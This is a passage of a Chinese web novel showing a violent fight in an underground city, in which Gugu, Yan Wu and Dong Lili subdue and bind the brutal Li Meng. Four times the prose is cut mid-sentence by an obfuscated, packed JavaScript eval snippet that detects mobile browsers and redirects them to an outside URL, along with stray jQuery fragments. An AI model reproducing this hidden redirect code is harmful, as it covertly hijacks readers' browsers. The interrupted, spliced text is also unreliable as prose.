“想在我的眼皮底下跑,是不是有点太瞧不起我了。”黎梦说。她一手掐着鹿力喜,一手操作着手里的枪,薄脆的咔哒声响起,她把枪管指向了男人的太阳穴。 古古看到了这一幕,惊喊道:“不要!” 就在叫声脱口的一瞬间,突然,一个尖锐的声音刺破了空气,朝他们袭来,有什么东西咻一声擦过,嘭地打在石屋内的墙壁上,溅起一小块烟尘。 “呃啊!”黎梦惊叫出声,手掌顿时鲜血淋漓,但她仍未放开鹿力喜,而是将他拉到身前,用作肉盾,两人缓缓向石屋的阴影中后退。 “谁?!”她喊道,但周围没有人回答她。 看刚才的情景,明显是有人在远处射击。 眼见鹿力喜被带进了石屋的阴影中,古古心急地想要追进去,可又是一发枪声响起,子弹擦过她的脚边。 怎么看,那都是不让她再进一步的意思。 古古开始四下寻找枪手的身影,元城底层通往控制室的通路有些阴暗,用来照明的灯泡坏了一大部分,还有几盏忽明忽灭。她左侧是石壁,石壁下是联排的石屋,右侧是一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001099|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑黢黢的平地,看不清远处有什么。 “危险,别进去。” 就在这个时候,一个男人的声音在那伸手不见五指的黑暗中传来。 听到那声音,古古愣了一下,迫不及待地朝音源的方向看去。 那个音色无比熟悉,那是…… 咯哒、咯哒。 空气陷入了一阵静谧,一个脚步声传来,一声接着一声,十分地缓慢、冷静。就这么回荡在山壁造就的昏暗空间之中。 一个男人的身影渐渐在一片黑暗的迷雾中现形,缓步朝古古的方向走来。他很高,一袭披风垂到小腿,手上斜托着一把几乎和他手臂一样长的步枪,腰上挂着一排弹夹,身上穿着一面皮制胸甲,除此之外没有其他的防护。 他绕了个路,似乎是为了不暴露在黎梦的视野中。手在枪身上划动,弹壳叮当一声砸在他的脚下,金属冷硬的撞击声响起。 她盯着眼前的人,目不转睛,生怕看到的是幻觉。 “燕无……” 他为什么会出现在这里?距离上一次分别已经过去多久了? 一个个问题在古古的脑海中冒出来,可她没有功夫去想答案了。 男人的出现就像一颗定心丸,也像一盏引灯,她身体下意识行动起来,想要立刻去往对方的身边。 与次同时,男人也加快了脚步,快速地接近她,一把将她抱起来,带着她往死角的方向躲藏。 将她在一面凸起的墙垛旁放下,燕无对她说道:“没事吧?” 古古看着眼前的人,他的发长了一些,眼神依旧温柔,但不再那么彷徨。这是真的吗?她的另一半,无法切割的一部分,就在么出现在了自己的眼前,救下了身处险境的她。这真的不是绝境之中的妄想吗? 古古没说话,只是伸出手去,抚摸着男人的脸,想要确认对方是不是真实存在。 燕无注意到她伸过来的手,弯下腰,往上面贴了贴,那样子仿佛在说,我就在这里。 “你是……看到我留下的信所以找过来的吗?”古古问他。 她还记得自己离开暮落镇的时候写了一封信,留在了住所,怕自己的不辞而别让对方担心。 燕无摇摇头,“暮落镇被毁了,我从别人那里听说了你的消息。” “被毁了……?” 还没等说上两句,黎梦所在的石屋里传来了一阵怪异的声响。燕无立即警觉起来,掩护着古古又往隐蔽住缩聚了一些,把她往自己身后带。 突然,一声枪响传来,他们所用来隐藏身形的石垛侧面,骤然出现了一道摩擦产生的白痕。 燕无评价道:“没露头就开枪,倒是心急。” 现在情况不容乐观,如果不把外面的两人解决,黎梦绝对不会从石屋内显形。可她手持极度危险的武器,身形在黑暗中潜藏,这也使外面的人没法进去。 燕无解下了自己的披风,团起来,发力将它扔出去。 就在它还在空中的时候,枪声响起,厚重的布艺披风被打了个对穿。 “……反应很快。”男人皱眉说道,他握紧了手中的长枪,回过身来小声对古古问道,“那是什么人?” 230. 抗黎梦2 被燕无高大的身躯围在这隐蔽地角落里,安全之感油然而生,她也能静下心来回想刚才发生的一切,聚焦到当下的危急处境中来,“黎梦,她是黎礼的女儿。” 燕无神情微动,恨意在其中滋生,“……她拿着什么武器,看到了吗?” “一把□□,上面好像带着个转轮……不能连发,她自己是这么说的。还有,她把阿喜劫做人质了……” 燕无又问:“是必须要救的人吗?” 古古知道燕无为什么这么问,救与不救,采取的策略显然不同。 她回答道:“是。” “是什么人?”燕无问道,像是随口一问,但是,古古听得出来,他有些在意。 “他是……”古古斟酌了一番,还是打算把实情说出来,“他大概,是我的父亲。” “……”燕无沉默了半晌,“是你的什么?” “父亲。”古古道。 燕无腾出了一只手来,盖在古古的额头上,“……没生病。” 古古晃了晃头,把男人厚重的手掌甩掉,“现在没时间解释,但他就是我的父亲。他认识妈妈,和她是恋人,两人有一个孩子,而那个孩子就是我。” 燕无顿了片刻,音色迟钝,多少还是有些不敢相信怀疑在,“但是,那个男人看上去比我还年轻。” 古古不打算再继续这个话题,有些心急地说道:“之后我会解释的,先想办法救人吧……” 他们说这番话的时候,燕无背对着石垛,而古古刚正对着它。 所以,当那石垛后探出一张煞白的、没有血色的人脸时,古古是第一个看到的人。 “燕无!后面!!” 她话音刚落,燕无猛然回身,然而,那个石垛后面的人已经扑了出来,一声金属被割裂的刺耳声响起,燕无手中的长枪应声断成两截,和袭击者的直刀一同朝着三个不同的方向崩飞了出去。 两个身影纠缠在一起,一方占据了优势,将另一方压制在地面。 占据优势的人是黎梦,她不知何时从石屋中摸了出来,悄然来到了两人躲身的石垛。 当下,她用膝盖顶住燕无的腹部,胳膊肘顶在他的咽喉,就这么死死压制住了男人。 “哈,玩什么枪?还是这样比较直接!”女人疯了一般叫喊道。随着她兴致盎然的声音,手上的力道越来越大,那几乎不像是一个女人应有的力气,居然将比她高出一头的男人压制在了身下。 燕无一手抓着对方的手臂,防止那只抵在喉咙上的手肘彻底断绝他的呼吸,另一只手也一把抓住对方的脖子,就这么僵持在原地,像是想要比拼谁先气绝一般。 古古见到此景,连忙冲上前去,想要帮燕无中这场较量里挣脱出来。然而,她甫一接近,黎梦立刻调整了身形,换了个姿势和燕无对抗,在改变姿势的同时,居然还分出了一丝体力踹了古古一脚。 那一脚把她踹得老远,一下子栽倒在地上,爬不起来。 “别过来……”燕无艰难地说道,他几乎发不出声音,嗓音听上去都是撕扯的。 古古试图站起来,但是,踹在肚子上的那一脚太重了,她一想要动作,那里就翻江倒海地疼。 怎么会被踹了一脚就变成这样……是自己太弱了,还是对方太强大了? 忍耐着胃部的不适,古古仍在挣扎着想要起身。 另一边,两人依然在僵持着。黎梦先出手,占尽了先机,在对抗之中的优势很大,她牢牢从背后锁着燕无的脖子,像是攀附在什么东西上面的跗骨之蛆一般,甩也甩不掉。 燕无不断挣扎,然而,束缚却只是更紧,导致脸部的肌肉抽搐,像是无法控制了一般。 “哈哈哈哈……”黎梦笑了起来,目光有种癫狂的意味,“居然敢朝我开枪,把自己当成什么了?就这三脚猫的水平,上了战场也是第一波送死的杂鱼。” 燕无说不出话来,身体猛地一挣,想从被锁死的束缚中挣脱。 黎梦整个人几乎被顶了起来,但是,她很快调整好了姿势,没让被困的男人得逞。 “唔啊,哈哈!”黎梦像是个嗜血的疯子一般,只有战斗、流血才会使她兴奋。此刻,她的手臂膨胀,将所穿的布料涨得发紧,“你还真是难死啊,一般人早就昏死过去了。” 燕无仰面躺在地上,又挣动了一下,双脚蹬在地面,往头顶上窜,急于解除对方的臂绞。但是,明显,他的动作比上一次要无力,带着女人一同撞在墙上,而后,似乎便再也使不出力来了。 黎梦在他耳旁低声地说道:“没关系,输给我没什么丢人的。我没见过你,但是看你的身手,应该是个小头领之类的?我拧断了太多这类人的脖子,马上你也是其中之一了。” 她说完了这段话,突然,脚踩在地面,提膝顶胯,手臂依然勒在燕无的脖子上,几乎是以全身的力气,像在拔一株植物一般,要把燕无得头从他的身体上拧下来似的。 燕无的身体扭曲成了一个人类几乎无法达到的弧度,看上去随时都有可能崩断。他的脸色已经红到不能再红,仿佛碰一下就会流出血来。 古古目视着这一切,只觉得心在绞痛。 终于从地上爬了起来,忍着腹部的疼痛,她踉跄地往前走。 燕无的眼珠一转,目光刺过来,像是在警告她不要靠近。 但她怎么可能不靠近? 他们才刚刚重聚,她不会就这么和他分开。 古古扑到了黎梦身前,没有武器,她就用手指去扣对方的手臂,想让她松开对男人的桎梏。然而,对方的手臂就像是石头一般,怎么也掰不开。 就在她动作的同时,黎梦像是被激怒了,更加疯狂地想要折断燕无的脖子。 古古近距离看到了男人痛苦的表情,听到他破碎一般的呜咽。他已经快不行了。 “放开他,你放开他!”古古喊着,开始对女人拳打脚踢。 黎梦两手占用着,暂时应付不了这矮小的女人,暗狠地说道:“你等着,贱东西,打我几下,我就把你的肠子剪成几段,蘸着你的血,一块块塞进男人的嘴里,让他的尸体慢慢品尝。” “你这毫无人性的疯子——”她实在想不出什么恶毒的语句,只能喊道,“果然有其母必有其女,你们母女二人都是疯子、刽子手、毫无人性的败类!” “哈哈。”黎梦笑道,她躲开了古古砸在她眉框的一拳,而后,像是某种恶毒的生物一般,猛然探头,往她手上一咬。 在一声惊叫声过后,黎梦啐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014343|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口,有什么东西混着血,被她吐到了地上。 古古握着手腕,连连向后退去。低头看向自己的手,小指的下方徒然凹陷下去了一块,那里鲜血淋漓,明显少了一块肉。她盯着那个伤口,只觉得胃里一阵翻涌,一种难受的感觉直奔全身,她像是要吐了一般,又像是要昏死过去,身体阵阵犯恶心,眼前的视野也开始明暗不定。 黎梦满口都是鲜血,眼神却十足地兴奋,她说道:“肠子切段还不够,我要把你的皮剥下来,再把男人的皮剥下来,塞进你的身体里,那就是你们两人的孩子啦。” 女人扭曲地笑着,眼睛大睁,脸庞被血色染得白一块红一块。 如果刨去话语里的内容,那声音听起来倒是清甜的。 古古不寒而栗。如果在平时遇上这种疯子,她早就逃了,能逃多远就多远。 但现在不行,她生命的另一半还在这里。古古压制住自己的手臂,抑制那流血的、残缺的手,不让它的颤抖扩散到全身。 就算前面是深渊,她还是要跳下去。 赢不了也要战斗。古古在向前逼近。 而黎梦盯着她,大张着她的獠牙,似乎就要这么把这个矮小的女人吞入腹中一般。 就在这个时候,一阵轻巧的、急促的奔跑声传了过来。 它就像从天而降一般,声音响起的一瞬间,就已经是在几人的近前了。 “呀!!”一个身影从墙垛后面冲了出来,那是一个女人,她提着一把银剑,直直就朝黎梦刺了过去。 黎梦躲无可躲,纠结瞬间,选择放弃手下的钳制,往旁边翻滚,躲开了这一次突袭。 燕无脱离了黎梦的绞杀,像是从水里捞上来的人一般,面朝下,捂着自己的喉咙,不住地咳嗽着。古古连忙上前,查看他的情况。 另一边,黎梦稳住了身形,朝后来者看去。她目光一凛,脸色有些难看,“今天是怎么了,烦人的东西一个接一个。我就应该在营地那时候杀了你,省得你现在还在这里招摇过市。” 赶来的是一个有些风尘仆仆的女人,土黄色的披肩盖在身上,长发高高束起,像个蓬松的松鼠尾巴一样坠在头后。一把又长又亮的银剑握在手中,她盯着黎梦,目光凛然。 “是你,莉莉……”古古惊讶地看着来人,喊出她的名字。 她怎么也出现在了这里? 董莉莉看了他们一眼,但没说什么,目光很快转移到黎梦的身上,没有片刻停歇,像是不敢停歇,怕因一瞬间的失误,被趁虚而入,而品尝败绩一般。 董莉莉提着那把剑,摆出进攻的架势,然而,动作却实在说不上标准,那不是任何一个流派的姿势,发力也并不标准,很显然,她并不知道怎么用它。 黎梦对董莉莉嗤之以鼻,“你想怎么死?像你妹妹一样,头顶上开个窟窿,还是被我卸下四肢,像个畜生一样苟延残喘地活着?嗯,我觉得后者更适合你。” 董莉莉握紧了手里的剑,她的目光凛凛,丝毫没有惧色,“那些都不会发生,只有你最终会倒在地上,为你所做出的一切付出代价。” “哈。”黎梦不屑地笑了一声,没再废话,压低了身子,像是某种迅捷的野兽一般,猛然突刺,一瞬间就来到了董莉莉的身前。 231. 抗黎梦3 董莉莉来不及招架,黎梦的速度太快了。 她们不是一个世界的人,一个在战火中淬炼,一个只是血皑的贵族,在战斗厮杀这方面,两人没有任何的可比性。 董莉莉被扑在一旁的石壁上,咚的一声,身体和坚实的墙体发生了一声巨响。她低吟了一声,模样似乎很痛苦。黎梦却因董莉莉的这份痛苦而兴奋起来,像是在享受杀戮,渴望杀戮一般。 梦魇一般的女人说道:“说什么大话,你这无骨的身躯,一折就断的手腕,还有泄软的肌肉,是怎么撑起你不要脸的心脏的呢?” 见董莉莉的情况,古古又心急了起来,想做些什么,可实在驱动不了身体。 手上的缺口让她有种一直在流血的错觉,那使她的精神控制不住地恍惚。而最初黎梦踹在她腹部的那一脚,到现在都还没有缓过来。 燕无依然倒在地上,男人似乎也想努力地挣扎起来,但是,刚才被黎梦束缚、几乎拧断了头颅的那场较量,像是夺走了他全部的力气,他几度想要站起来,然而,都失败了。 这样下去不是办法。古古想。这样下去,董莉莉会死,他们都会死。 仅仅是一个女人而已,却把他们弄成了这副模样。 即使是在崇尚武力的甾染,她也从来没见过这样的女人,歹毒、狠厉,对厮杀毫不掩饰地疯狂喜爱。 她还是人吗? 她不是人。怎么想,都是应被除去的害虫……! 嘭。 突然,一声巨响传来。 古古紧盯着声音的方向,观察着局势。 只见黎梦依然控制着董莉莉,手钳制在对方的脖子上,似乎很享受猎物死亡的过程,没有那么快杀了她。 只是,那一声巨响过后,女人的背影颤动了一下。盔甲上出现了一个洞,它是黑色的。 黎梦往后撤了一步,掐着董莉莉的那只手松开了。身经百战的女人捂住自己的腹部,有些狼狈地弯下了腰身。 董莉莉脱离了她的钳制,不住地咳嗽起来,但是,她没有闲下来,低下头,鼓捣着手里的东西。 古古看过去,那是一把短小精悍的手枪。 她突然明白过来,这是让对方丧失警惕的战术,一开始董莉莉冲过来的时候,只提着一把银剑,而且挥舞得特别生疏,这些都是为了让黎梦掉以轻心。 “你这贱人……”黎梦恶狠狠地骂道,拧紧了右拳,使出了全身的力气,猛然向董莉莉的头部砸去。 两人的距离极近,那拳头就像是风一样,疾驰而过。董莉莉没躲开,脸颊硬生生吃下了一击,整个身体一下子垮在地上,可见黎梦用了多大的力气、她暴怒的身体里又蕴含着怎样可怕的力量。 直到这个时候,黎梦侧过了身来,古古才看到她具体的伤情。女人捂着自己的腹部,那里在缓缓地往下淌血,速度不快,血量不多,只是,她的脸色相当难看,皮肤发白,呼吸也不顺畅。 另一边,董莉莉倒在地上,但是,她的枪还没有离手。这一下似乎摔得不轻,缓了片刻,她才从地上爬起来,先是双手和膝盖撑住地面,然后,缓缓地抬起身体。 她站起来,便继续鼓捣着手里的枪,整个过程之中,除了无法扼制的痛哼以外,她没有发出任何声音,像是所有的哀怨、所有的恐惧、所有的话语都被吞进了肚子里。 董莉莉表现得十分固执,似乎不达成什么目的,就不罢休一般。她默默地把子弹送进黎梦的身体,默默地换弹,默默地举起枪。做这些事情的时候,她不说话,不表达任何观点、态度,不留任何情面。 枪口再度对准了黎梦,董莉莉几乎没有任何的停顿,立刻扣下了扳机。然而,就是在同一时间,黎梦俯下身去,像是突然因为重创,而坚持不住倒地了一般。 但是,她在身体即将倒下的时候,猛然用手指撑住地面,然后,便是那么轻轻一颠,身体又直了起来,回到原位,像是什么都没发生似的。 董莉莉冷静地看着,一发失败,她便打算去换下一发子弹,从自己的口袋里摸索,掏出来了一颗弹珠,把它塞进枪管里。 古古看得出来,那是最常见的制式,也是最先面世的那种枪。当时,黎军攻略甾染的时候,就是用的这种武器,它每开始一枪,都需要上一次弹,耗时非常长,所以,军队往往编排几队枪手,每排依次放弹,以保证射击的连续性。 但是,在单兵作战中,这样的武器未免太不趁手,它只有第一发能做到出其不意,往后的每一发,都给了对手太多的反应时间。 就像现在,虽然董莉莉第一枪打中了黎梦的腹部,但是,第二枪落空了,眼看着第三枪也希望不大——黎梦已经拖着她流血的身子凑近了董莉莉,马上就要夺过对方手中的枪。 古古在一旁眼睁睁地看着,黎梦沾满了血的魔爪是如何伸出去,握住了枪杆,作势要抢夺过来。 如果让她得到了,如果让她抢到了手枪,接下来他们要面对的,可就是一个更加惨无人道的恶鬼了。 在古古惊惧的视线中,她却看到董莉莉毅然决然的脸颊。 在黎梦碰到手枪的一瞬间,董莉莉突然扣下扳机,这时候,子弹还没有装填完成,枪口也还冲着地面。 可下一刻,巨响还是如期而至。只见那枪从中间炸开,一刹那解了体。 小范围的爆炸涉及了距离极近的两个女人,黎梦发出了一声濒死一般的惊呼,尖叫着收回了自己的手。 “啊啊,你这贱人,居然弄伤我两次!”黎梦尖锐的喊声响起来,她的右手鲜血淋漓,似乎有一根手指不翼而飞,整个人在不停地颤抖。 刚才,她去抓董莉莉手里的枪,便是在它炸开的时候,她的手把那枪管整个捏住了,承受了几乎所有的冲击力。女人红了眼睛,此刻,她脸上、腹部、手上全都是血,已然没有了最开始的余韵。 在一片飘散开来的薄烟中,董莉莉甩开手里破烂不堪的枪托,表情难耐,似乎手上受了不小的伤,也流了些血,但是,受到的冲击远没有黎梦那么严重。 她咬着牙,从一旁的地上捡起来刚才丢掉的剑,用完好的左手拿着。她本身似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023153|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎就不会用剑,此刻,惯用手受伤,再用左手握着那把剑,姿势更是别扭。 但即便如此,她依然握着它,就像是发过誓,要用它斩落敌人的头颅一般。 直到此刻,古古才觉得那把银剑有些眼熟。 这把剑,不是那个杜光欧在甾染挑战尖兵时用过的剑吗?那时男人似乎和它形影不离。 古古对这把剑有很深的印象,那是因为,它的气质和杜光欧不太相符。它浑身雪白,雕刻精美,不像是为了战争而打造,更像是地位崇高之人才会携带的配饰——尽管杜光欧的身份并不低下,但是,古古总觉的,这把剑的气质和那个男人有着千差万别。它比他更估孤寂、沉静、纯粹,像是一颗已死的赤子之心。 此刻,董莉莉拿着它,目光和它散发出来的光芒一样凛冽。 对面,浑身浴血的黎梦似乎斗志不减,她已经失去了笑容的余韵,只是变得更加癫狂,“啊啊,我要把你碎尸万段,然后扔进野狗群里,让它们吃了你的心,吞了你的肺,再把你的肉炖熟了,用骨头熬汤,然后端到哥哥的桌子上,让他尝尝你身上的骚味。” 此刻,一直默不作声的董莉莉发话了,“我以为你喜爱他。现在看来,也不尽然。” 黎梦突然露出一个不太健康的笑容,她的眉毛耷拉下去,嘴角却是向上扬的,“我怎么不喜欢?我喜欢得不得了。喜欢到,想要和他血肉交融,密不可分。” “更恶心了。”董莉莉简短地说道,她像是没有什么心情和对方交谈,话很少,几乎不怎么用什么语气词,更是不说很长的句子。 “啊——”黎梦感叹道,“为什么会这样呢,我也想不明白,我们是有血缘关系的亲人,我知道,但是,就是因为这样,我才更加喜欢他。他身体里流着那个杜义的肮脏血脉,我也是一样,每次看到哥哥的时候,我都会觉得,我们都是一样的,是流着下等血脉的可怜人,那让我感觉我们更加亲密了。” “老城主的血脉并不肮脏。”董莉莉说道,她调整了一下手里的剑,发出一种微不可闻的进攻信号,“是你的心脏。” 话音落下,对面,黎梦的笑容消失了,浴血的女人支撑着她残破的身躯,像没有痛觉似的,没事人一般站在那里,冰冷地盯着董莉莉,说道:“你真的很烦。成天在哥哥的周围晃来晃去,真的很烦。我很久以前就想把你的头拧下来了。” “来啊。”董莉莉简言道。 黎梦的脸黑了下来,像是阴晴不定的天空,总是变化得很快。她立在原地,便是那么阴沉地盯了董莉莉半晌,而后,突然,像是一把出鞘的刀,身影一闪就扑向了董莉莉。 她的脚步如飞,极快,几乎只能看到残影。那些身上的伤痕就像是丝毫不存在,无法拖延她的步伐,对她一点影响都没有。 她是个天生的战士,或者说,是被一次次烈火淬炼出来的战士,尽管她年轻、貌美,但这些不过是些外在的幌子。掀开她的皮肉,只能看见一个渴望战争的灵魂。 就这样,黎梦冲了过去,像是狂风一般,势无可挡。 232. 抗黎梦4 董莉莉没有移动,不打算逃,似乎就想这么硬生生对抗黎梦的突进。 古古看着这一切,很想大声劝她,不要和黎梦硬碰硬,那不是一个正常的女人,甚至算不上是一个正常人。但是来不及说什么,黎梦的动作太快了,一道残影飞速地掠过,眼看着就直逼董莉莉而去。 阴暗的通道中,悬挂在石屋门外的灯晃动了一下,昏黄的光也随之明灭。 就在这千钧一发之际,突然,古古感觉身边有一片阴影在摇晃。 燕无不知何时起了身,蹲在地上,身影遮住了一小块光明,他像是只潜伏的野兽一般,猛然扑了出去。 黎梦没能预料到来自侧方的袭击,可能在这个战无不胜的女人眼中,一度被她击败的对手不可能再次站起来,只配乖乖待在地上。 但显然,燕无没有安分地躺着。男人蓦然截住敌人,一下子用肩将她撞开,又趁对方没来得及调整好身形时,以他身高腿长的优势急速逼近,而后,学着黎梦之前对他做的那样,将她整个人压制在地。 黎梦疯了似的挣扎起来,张开血盆大口去咬男人的胳膊,满是鲜血的手伸出去撕扯对方的脸。 燕无没有一一应对那些反抗,只是迅速站起来,顺带提起对方的胸甲,把人拽起来,又重重摔在地上。趁对方后脑受击晕头转向时,又是一脚踏上去,用登山靴底的金属片踩断了对方的手。 “啊啊——!”黎梦发出了一声气绝般的尖叫,充血的眼睛瞪视着眼前的男人,但很快,她就什么也说不出来了。巨大的阴影再度扑上来,压住她的气管,让她无法呼吸,也无法发声。 局势陡然变化,朝夕之间,一度占尽优势的人被困在地上,失去了所有反抗的能力。 燕无控制着对方,看起来一点也不费劲,仿佛要她什么时候死都不在话下。 古古看着眼前的一切,还有些没反应过来。 这是……打败她了吗? 就在这时,她听到了金属与石块磨擦的声音,余光之中,董莉莉拖着剑跑了过来。 女人来到了燕无的身旁,眼神中的恨意渐渐燃烧起来,她高举那柄雪白的剑,剑尖对准了黎梦的头颅。 “等等。”突然,燕无发话道。他的嗓音低哑,像是声带受损了一般,显然,他还没有从前不久的较量中恢复过来。男人简略地说道,“先别杀她。” 董莉莉的动作停下了,那把剑高举在上空,暂且没有落下。她的眼珠转动,视线倏然落在了燕无的脸上,那带着恨意的眼神没有变化,就那么刺向男人,像在质问他原因。 燕无解释说道:“她是黎礼的女儿,我们留着她要挟黎礼。” 男人三言两语解释清了原因。董莉莉的眼神依然凛冽,她盯着燕无,看了一阵子,没有说话,像是在权衡什么一般。 片刻后,目光回到了黎梦的脸上。 紧接着,她的剑落了下去。 古古吸了口气,只见那把剑擦着黎梦的脸,削掉一块皮,生生将她的右耳切了下来,顿时,鲜血染上了那雪白的剑,污浊了它的身躯。 黎梦顿时瞪大了眼睛,又踢又蹬,但是,她挣脱不开燕无的束缚,喉咙里发出破碎的锐哑喊声,眼球充血,像是要吃了董莉莉一般,恶狠狠地盯着她。 董莉莉俯视着对方,表情冰冷,什么也没说,只是抽回了自己的剑,甩了几下,甩光那些血污,又从一旁捡起不知何时从身上掉落的剑鞘,然后把剑收了回去。 “我去找捆绳。”董莉莉说道,然后钻进那些联排的石屋中,开始寻找了起来。 古古盯着她的背影,总觉得她似乎有些变了,和甾染、暮落镇那些时候都大不相同。究竟是哪里变了,她也说不清楚。 曾经,在古古的眼中,董莉莉是个没有贵族架子的血皑人,待人正直,性格柔和又坚韧。这些特质,无疑依然存在于女人的身上,只不过,当下似乎多了些别的什么东西——更加阴沉的、挥之不去的东西。她似乎在一种深渊里挣扎,说的话少了,总是在沉思。那原来明朗的笑容也消失不见了,她变得更加沉郁,像是失去了什么重要的东西一般,迷思困扰着她,黑暗包裹着她。 董莉莉这幅模样,让古古想起来那个杜光欧。不知为何,古古总感觉,董莉莉现在的气质和那个男人越来越像了。这可不是什么好发展。那个男人总是一副阴沉的模样,似乎总有解不开的心结,好像天底下没什么开心事似的。 古古没有沉浸在思绪中多久,董莉莉很快拿了捆绳回来。那不是简单的草绳,而是一种金属材质的细锁链,更加坚固、牢靠。 燕无见董莉莉回来,一把将黎梦提了起来,抓起她残破不堪的双手。而后,董莉莉什么也没说,颇有默契地将锁链缠绕在黎梦的手臂上。她缠了好几圈,非常熟练地打了一个死结,似乎永远都不打算解开了一般。 这样还不够,两人又用剩下的锁链将黎梦团团捆了起来,不给她一点行动的自由。女人的嘴也被缚了起来,她只好瞪着一双猩红的眼睛,像地狱的恶鬼一样盯着他们。 燕无揉了揉自己的嗓子,低声嘀咕着,“终于结束了……她比我见过最棘手敌人还难缠。” 董莉莉没做什么点评,对燕古两人道:“刚才我去最近的那间石屋,发现里面有个昏迷的男人,那个人是和黎梦一伙的,还是和你们一伙的?要一并绑起来吗?” 听她这么说,古古突然想起来了什么。 鹿力喜还在石屋里面! “是我们的人!”古古说道,她捂着自己的肚子,艰难地小跑着,奔向石屋里。心想着,对方千万不要出什么事才好。 进了那石屋,只见鹿力喜倒在地上,昏迷了过去,不省人事。 “阿喜!”古古扑过去,发现男人的额头上有一大块淤青,手也肿了起来。他怀里抱着一堆零件,原身看上去是黎梦的那一把手枪,它已经被拆卸了。 难怪刚才黎梦是空着手偷袭燕无的,她手里没有枪,是因为被鹿力喜扣下拆解了。不过,鹿力喜看起来也为此付出了不小的代价,他脑袋上的淤青几乎占据整片额头,眼角也肿了,可见是遭受了怎样的撞击才会变成这样。 古古心疼地看着,想要触碰,却又不敢。 这时候,燕无拖着黎梦走了进来,董莉莉跟在他身后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032811|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人把黎梦扔在门口,像是甩开一件垃圾一样。黎梦闭着眼睛,头发遮盖住了面容,看不见她的表情。她似乎累了,不再挣扎,也不再发声。 董莉莉找了个地方坐下来,观察自己手上的伤口。燕无则凑到了古古的身边,在一旁蹲了下来,他的动作有些别扭,像是为了避开身体上的一些伤口。男人观察了一番鹿力喜,紧接着,目光来到了古古的手上,眼神中出现了一丝怜惜,将那只小小的手掌托进自己的手里,问道:“疼吗?” 古古盯着自己的手,它缺了一块肉,血已经不再流。一开始它并不疼,但随着时间的流逝,气氛也渐渐不那么紧张,伤口便开始愈发宣告自己的存在。但是,她想了想,大家都受伤了,只有她一个人喊疼,实在是太丢人,于是只好倔强地说道:“不怎么疼。” 燕无低下头,将她小小的手盖在自己宽厚的手掌之间,“我再早来一些就好了。” 古古看他郁郁寡欢的样子,用另一只手拨弄了一下对方渐长的发帘,换上一副轻松的语气安慰他,“你已经来的够及时啦,这不,我和阿喜都活下来了?” 燕无垂眸,轻轻摇了摇头,“……你的手需要包扎。” “我知道医疗室怎么走。”古古说道。这段时间一直待在元城,对这座地下城市也愈发了解,要不是很多东西冻在冰里,不然基础物资还是很充足的。古古转过头去,对一旁的董莉莉说,“莉莉,你的伤怎么样?” “我还好。”她说,“只是手部擦伤,头部有些轻微震荡。” 听着对方没什么感情地陈述着身上的伤势,古古总觉得她冷静得有点可怕,女人身上那股复仇的黑色火焰好像更加深邃了。 “我们……我们休息一下,等阿喜醒过来,就去医疗室吧。现在大家都受了伤,要搬动他太困难了。” 董莉莉简短地回应,“好。” 他们在这个石屋待了一阵子,古古不时轻唤鹿力喜的名字,试图叫醒他。董莉莉蜷缩在一把椅子上,闭眼休息。而黎梦依然无声无息地躺在门口的地上,不知是否已经昏死了过去。 燕无出去寻找了一圈有没有什么可用的东西,但无功而返,只好撕开自己干净的白色內裳,为古古暂时包扎。而后,他便摆弄起那把被拆解的手枪,试图将它拼装回去。 直到现在,古古才有种安定下来的感觉。事情接连而起,发生得太快,先是点灯人黎涵挚的翻脸,再是黎梦的扣押与袭击,最后是燕无和董莉莉的出现。之前在元城中的平和生活,就如假象般,被一下子敲碎了。 她盯着那拼装手枪的男人,上一次见到他还是在暮落镇的东门,夕阳之中,他和他的大哥踏上了前往麦哲也的道路,势要为两人共同的父王报仇。 古古原以为那会是一条漫长的路,毕竟,兄弟俩离开的时候几乎什么都没有,只有一把手枪,可以说征程才刚刚开始。 她没想到这么快就能再见到他。 “燕无……” 她刚要开口说些什么,突然,外面传来了一阵轻微的异响,仔细听去,那是急促的脚步声,由远及近,似乎在往他们的方向跑来。 